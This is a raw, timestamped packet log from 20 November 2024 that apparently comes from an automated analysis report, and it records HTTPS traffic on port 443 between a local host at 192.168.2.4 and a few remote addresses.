Nov 20, 2024 21:04:49.458802938 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.458813906 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.458832026 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.458904028 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.458909035 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.458945990 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.458956957 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.458975077 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459045887 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459045887 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459049940 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459080935 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459088087 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459101915 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459177017 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459177017 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459182024 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459213018 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459290028 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459347963 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459348917 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459357977 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459399939 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459497929 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459517002 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459589958 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459589958 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.459593058 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.459798098 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.460175037 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.480357885 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.480377913 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:50.721371889 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:50.721786022 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:50.721817970 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:50.723270893 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:50.723355055 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:50.725578070 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:50.725658894 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:50.726115942 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:50.726133108 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:50.780065060 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.227479935 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227508068 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227516890 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227533102 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227541924 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227545023 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227562904 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.227606058 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.227619886 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.227653980 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.415154934 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.415200949 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.415277004 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.415293932 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.415335894 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.415365934 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.459768057 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.459820032 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.459886074 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.459892988 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.459971905 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.500267029 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.500395060 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.500402927 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.500446081 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:51.500457048 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.500504017 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.500907898 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:51.500920057 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:54.455689907 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:54.455761909 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:54.455827951 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:54.856658936 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:54.856698990 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:55.967639923 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:55.967722893 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:55.967808008 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:55.992737055 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:55.992763042 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:57.726162910 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:57.726259947 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:57.728359938 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:57.728387117 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:57.728717089 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:57.738359928 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:57.783338070 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.201325893 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.201378107 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.201437950 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.201462984 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.201483011 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.201499939 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.201528072 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.263866901 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:58.263906956 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:58.264005899 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:58.264586926 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:58.264605045 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:58.392136097 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.392188072 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.392226934 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.392247915 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.392262936 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.392335892 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.443366051 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.443413973 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.443607092 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.443607092 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.443617105 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.444158077 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.568443060 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.568492889 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.568522930 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.568541050 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.568559885 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.568584919 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.608388901 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.608438969 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.608481884 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.608491898 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.608524084 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.608541965 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.629548073 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.629611969 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.629616976 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.629642010 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.629671097 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.629682064 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.651577950 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.750210047 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.750260115 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.750313997 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.750324965 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.750360966 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.750381947 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.769253969 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.769301891 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.769335032 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.769341946 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.769392014 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.784642935 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.784689903 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.784723043 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.784730911 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.784759998 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.784780025 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.802391052 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.802433968 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.802463055 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.802469015 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.802505016 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.802524090 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.820009947 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.820059061 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.820085049 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.820091963 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.820128918 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.820152044 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.936425924 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.936474085 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.936511040 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.936527967 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.936558962 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.936577082 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.951389074 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.951443911 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.951464891 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.951487064 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.951527119 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.951549053 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.957154989 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.957231998 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.957238913 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.957285881 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.957319021 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.957369089 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.957745075 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.957761049 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:58.957775116 CET	49796	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:58.957793951 CET	443	49796	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.009495974 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.009527922 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.009598970 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.010508060 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.010529041 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.010593891 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.010821104 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.010838985 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.011656046 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.011704922 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.011763096 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.011903048 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.011915922 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.013295889 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.013370037 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.013442039 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.013814926 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.013825893 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.013875961 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.013962030 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.013973951 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.014051914 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.014059067 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.014157057 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:59.014192104 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:59.923795938 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:59.923942089 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:59.925736904 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:59.925749063 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:59.926001072 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:04:59.934757948 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:04:59.979341030 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.594141006 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.594203949 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.594247103 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.594270945 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.594286919 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.594301939 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.594335079 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.631656885 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.631724119 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.631789923 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.631808043 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.631908894 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.631958008 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.632263899 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.632282972 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.632294893 CET	49805	443	192.168.2.4	172.202.163.200
Nov 20, 2024 21:05:00.632301092 CET	443	49805	172.202.163.200	192.168.2.4
Nov 20, 2024 21:05:00.793334961 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.796938896 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.797877073 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.814821005 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.814856052 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.815536022 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.815541029 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.815794945 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.815866947 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.816164970 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.816179991 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.816370964 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.816400051 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.816730976 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.816742897 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.822669983 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.823050976 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.823142052 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.823483944 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.823499918 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.930573940 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.931384087 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.931423903 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:00.931804895 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:00.931812048 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.238668919 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.238753080 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.238873959 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.243592024 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.243665934 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.243753910 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.245764017 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.245799065 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.245870113 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.245892048 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.245925903 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.273669004 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.273710012 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.273802996 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.273833990 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.274384022 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.277673960 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.301450968 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.301479101 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.301491022 CET	49814	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.301498890 CET	443	49814	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.304554939 CET	49812	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.304560900 CET	443	49812	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.306756973 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.306793928 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.306823015 CET	49813	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.306843996 CET	443	49813	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.307514906 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.307537079 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.307549000 CET	49811	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.307554960 CET	443	49811	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.314636946 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.314687014 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.315207958 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.315639019 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.315664053 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.319801092 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.319856882 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.319958925 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.320596933 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.320622921 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.322771072 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.322797060 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.322885990 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.323050976 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.323064089 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.323239088 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.323265076 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.323328018 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.323432922 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.323450089 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.375737906 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.375783920 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.375854015 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.375880957 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.375941992 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.381556988 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.381688118 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.381762028 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.384368896 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.384368896 CET	49810	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.384383917 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.384396076 CET	443	49810	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.411591053 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.411634922 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:01.411719084 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.413898945 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:01.413914919 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.064074039 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.064604044 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.064641953 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.065329075 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.065335989 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.190928936 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.191462040 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.191483021 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.191971064 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.191979885 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.193118095 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.193389893 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.193406105 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.193705082 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.193708897 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.212376118 CET	443	49815	13.107.246.63	192.168.2.4
